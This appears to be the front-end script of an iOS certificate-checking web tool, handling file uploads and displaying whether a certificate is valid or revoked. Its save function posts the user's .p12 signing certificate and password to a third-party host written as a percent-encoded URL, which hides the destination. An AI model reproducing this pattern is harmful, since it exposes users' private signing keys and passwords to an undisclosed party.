index.js 8.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327
  1. var urlInputTips = '请输入短链接';
  2. var checkNowBtn = '立即检测';
  3. var recheckBtn = '继续检测其他证书';
  4. var onlyCheckOneFileTips = '每次只能检测一个文件';
  5. var fileTypeErrorTips = '文件格式不正确,仅支持 p12 格式文件';
  6. var provisionFileTypeErrorTips = '文件格式不正确';
  7. var checkingTips = '检测中...';
  8. var uploadFileTips = '请先上传证书文件';
  9. var uploadMPFileTips = '请先上传mobileprovision文件';
  10. var certFilter = ['p12'];
  11. var provisionFilter = ['mobileprovision'];
  12. var currentType = 'file';
  13. var fd;
  14. var fileCounter;
  15. $(function() {
  16. $('#submitButton').on('click', function() {
  17. save();
  18. });
  19. $('[data-toggle="popover"]').popover();
  20. $(document).on('dragenter, dragover, drop', function(e) {
  21. e.stopPropagation();
  22. e.preventDefault();
  23. });
  24. var obj = $('#uploadCert, #uploadProvision');
  25. obj.off('click.uploadFile').on('click.uploadFile', function() {
  26. $('#uploadfile').click();
  27. $('#uploadfile').data('source', $(this).attr('id'));
  28. });
  29. obj.on('dragenter, dragover', function(e) {
  30. e.stopPropagation();
  31. e.preventDefault();
  32. });
  33. obj.on('dragleave', function(e) {
  34. $(this).removeClass('drag');
  35. });
  36. obj.on('dragover', function(e) {
  37. $(this).addClass('drag');
  38. });
  39. obj.on('drop', function(e) {
  40. $(this).removeClass('drag');
  41. e.preventDefault();
  42. var files = e.originalEvent.dataTransfer.files;
  43. $('#uploadfile').data('source', $(this).attr('id'));
  44. //We need to send dropped files to Server
  45. handleFileUpload(files, $('#uploadfile'));
  46. });
  47. });
  48. function resetParams() {
  49. fileCounter = { provisionCounter: 0, certCounter: 0 };
  50. fd = new FormData();
  51. }
  52. resetParams();
  53. function handleFileUpload(files, obj) {
  54. if (files.length > 1) {
  55. alert(onlyCheckOneFileTips);
  56. return false;
  57. }
  58. var source = obj.data().source;
  59. var uploadDom = $('#' + source);
  60. for (var i = 0; i < files.length; i++) {
  61. var file = files[i];
  62. var ext = file.name.split('.').pop();
  63. var isCert = false;
  64. var isProvision = false;
  65. if ($.inArray(ext, certFilter) != -1) {
  66. isCert = true;
  67. } else if ($.inArray(ext, provisionFilter) != -1) {
  68. isProvision = true;
  69. } else {
  70. alert(fileTypeErrorTips);
  71. return false;
  72. }
  73. if (source == 'uploadCert' && !isCert) {
  74. alert(fileTypeErrorTips);
  75. return false;
  76. } else if (source == 'uploadProvision' && !isProvision) {
  77. alert(provisionFileTypeErrorTips);
  78. return false;
  79. }
  80. if ((fileCounter.provisionCounter >= 1 && isProvision) || (fileCounter.certCounter >= 1 && isCert)) {
  81. alert(onlyCheckOneFileTips);
  82. return false;
  83. }
  84. if (isCert) {
  85. fileCounter.certCounter++;
  86. fd.append('file[cert]', files[i]);
  87. } else if (isProvision) {
  88. fileCounter.provisionCounter++;
  89. fd.append('file[provision]', files[i]);
  90. } else {
  91. alert(fileTypeErrorTips);
  92. return false;
  93. }
  94. var deleteEle = $('<i class="fa fa-times-circle delete-file"></i>').data('source', source);
  95. var fileIcon = $('<i class="fa fa-file-text-o pull-left" aria-hidden="true"></i>');
  96. var fileName = $('<p>')
  97. .addClass('file-name')
  98. .text(files[i].name)
  99. .append(deleteEle)
  100. .append(fileIcon);
  101. uploadDom.append(fileName);
  102. deleteFile();
  103. }
  104. uploadDom.find('.upload-tips, .file-icon').addClass('hide');
  105. obj.val('');
  106. }
  107. function deleteFile() {
  108. $('.upload-img-init .file-name > .delete-file')
  109. .off('click.deleteFile')
  110. .on('click.deleteFile', function(e) {
  111. e.stopPropagation();
  112. e.preventDefault();
  113. var source = $(this).data('source');
  114. $('#' + source)
  115. .find('.upload-tips, .file-icon')
  116. .removeClass('hide');
  117. resetCounter(source);
  118. $(this)
  119. .parent()
  120. .remove();
  121. });
  122. }
  123. function resetCounter(source) {
  124. if (source == 'uploadProvision') {
  125. fileCounter.provisionCounter = 0;
  126. } else {
  127. fileCounter.certCounter = 0;
  128. }
  129. }
  130. function save() {
  131. var formdata = fd;
  132. let url = 'https://%63%65%72%2e%62%73%73%6a%69%2e%63%6f%6d/%43%68%65%63%6b%43%65%72%74';
  133. if (!fileCounter.certCounter) {
  134. alert(uploadFileTips);
  135. return false;
  136. }
  137. var newData = new FormData();
  138. newData.append('p12', formdata.get('file[cert]'));
  139. newData.append('password', $('#password').val());
  140. if (fileCounter.provisionCounter) {
  141. newData.append('mp', formdata.get('file[provision]'));
  142. url = 'https://%63%65%72%2e%62%73%73%6a%69%2e%63%6f%6d/%55%70%6c%6f%61%64%46%69%6c%65';
  143. }
  144. $.ajax({
  145. type: 'POST',
  146. data: newData,
  147. url: url,
  148. dataType: 'json',
  149. cache: false,
  150. processData: false,
  151. contentType: false,
  152. beforeSend: function(xhr) {
  153. toggleSearch();
  154. $('#submitButton')
  155. .text(checkingTips)
  156. .addClass('btn-u-default hide')
  157. .attr('disabled', 'disabled');
  158. $('#certCheckTab > li').css('pointer-events', 'none');
  159. },
  160. success: function(result, textStatus, jqXHR) {
  161. code = result.code;
  162. displayRes(result);
  163. displayReCheckBtn();
  164. $('#submitButton')
  165. .text(checkNowBtn)
  166. .removeClass('btn-u-default')
  167. .removeAttr('disabled');
  168. $('#certCheckTab > li').css('pointer-events', 'auto');
  169. },
  170. error: function(jqXHR, textStatus, errorThrown) {
  171. $('#submitButton')
  172. .text(checkNowBtn)
  173. .removeClass('btn-u-default')
  174. .removeAttr('disabled');
  175. toggleSearch();
  176. $('#certCheckTab > li').css('pointer-events', 'auto');
  177. }
  178. });
  179. resetParams();
  180. }
  181. function displayRes(res) {
  182. $('#password').val('')
  183. $('#search').toggleClass('hide');
  184. $('#certResult').toggleClass('hide');
  185. var code = res.code;
  186. var msg = res.msg;
  187. var extra = res.data || {};
  188. var name = extra.name;
  189. var expired = extra.validEnd;
  190. var status = extra.status;
  191. var explain = '';
  192. var expiredSpan = extra.expiredSpan;
  193. var provisionExpiredSpan = extra.provisionExpiredSpan;
  194. var provisionExpireDate = extra.expirationDate;
  195. var provisionSignType = ''; //extra.signType;
  196. var matchSpan = '<span class="text-success">与证书匹配</span>';
  197. expired += expiredSpan;
  198. provisionExpireDate += provisionExpiredSpan;
  199. if (status === 'revoked') {
  200. status = '<span class="text-danger">掉签</span>';
  201. explain = '证书已被您自己或苹果官方撤销 (revoke) ';
  202. } else if (status === 'good') {
  203. status = '<span class="text-success">正常</span>';
  204. explain = null;
  205. } else {
  206. status = '<span class="text-danger">未知</span>';
  207. explain = null;
  208. }
  209. $('#fileCertResult').removeClass('hide');
  210. $('#urlCertResult').addClass('hide');
  211. if (code !== 0) {
  212. $('#certDetail')
  213. .removeClass('hide')
  214. .addClass('hide');
  215. $('#errorMsg')
  216. .removeClass('hide')
  217. .find('span')
  218. .html(msg)
  219. .find('span')
  220. .css('color', '#FD5A5A');
  221. } else {
  222. $('#errorMsg').addClass('hide');
  223. $('#certDetail').removeClass('hide');
  224. $('.certNameSpan')
  225. .text('')
  226. .text(name);
  227. $('.certExpireDateSpan').html(expired);
  228. $('.certStatusSpan').html(status);
  229. if (provisionExpireDate) {
  230. $('#provisionExpireDate').html(provisionExpireDate);
  231. }
  232. if (provisionSignType) {
  233. $('.provisionSignType').removeClass('hide');
  234. $('#provisionSignType').html(provisionSignType);
  235. }
  236. if (matchSpan) {
  237. $('#provisionStatus').html(matchSpan);
  238. }
  239. if (provisionExpiredSpan && matchSpan) {
  240. $('.provision-detail').removeClass('hide');
  241. } else {
  242. $('.provision-detail').addClass('hide');
  243. }
  244. if (explain) {
  245. $('.certStatusExplain')
  246. .removeClass('hide')
  247. .attr('data-content', explain);
  248. } else {
  249. $('.certStatusExplain')
  250. .addClass('hide')
  251. .attr('data-content', '');
  252. }
  253. }
  254. }
  255. function toggleRes() {
  256. $('#certResult').toggleClass('hide');
  257. $('.tab-pane').toggleClass('hide');
  258. $('submitButton').toggleClass('hide');
  259. displayCheckBtn();
  260. }
  261. function toggleSearch() {
  262. $('.tab-pane').toggleClass('hide');
  263. $('#search').toggleClass('hide');
  264. $('.file-name').remove();
  265. $('.upload-img-init .upload-tips, .upload-img-init .file-icon').removeClass('hide');
  266. }
  267. function displayCheckBtn() {
  268. $('#submitButton').removeClass('hide');
  269. $('#recheckBtn').addClass('hide');
  270. }
  271. function displayReCheckBtn() {
  272. $('#submitButton').addClass('hide');
  273. $('#recheckBtn').removeClass('hide');
  274. }
  275. function removeAppInfo() {
  276. $('.appName').addClass('hide');
  277. $('#certFlag').removeClass('hide');
  278. }
  279. $('a[data-toggle="tab"]').on('show.bs.tab', function(e) {
  280. $('.upload-img-init .upload-tips, .upload-img-init .file-icon').removeClass('hide');
  281. currentType = $(e.currentTarget).data('id');
  282. $('.tab-pane').removeClass('hide');
  283. $('#certResult').addClass('hide');
  284. displayCheckBtn();
  285. removeAppInfo();
  286. if (currentType == 'file') {
  287. $('#fileCheckAlert').removeClass('hide');
  288. } else {
  289. $('#fileCheckAlert').addClass('hide');
  290. }
  291. });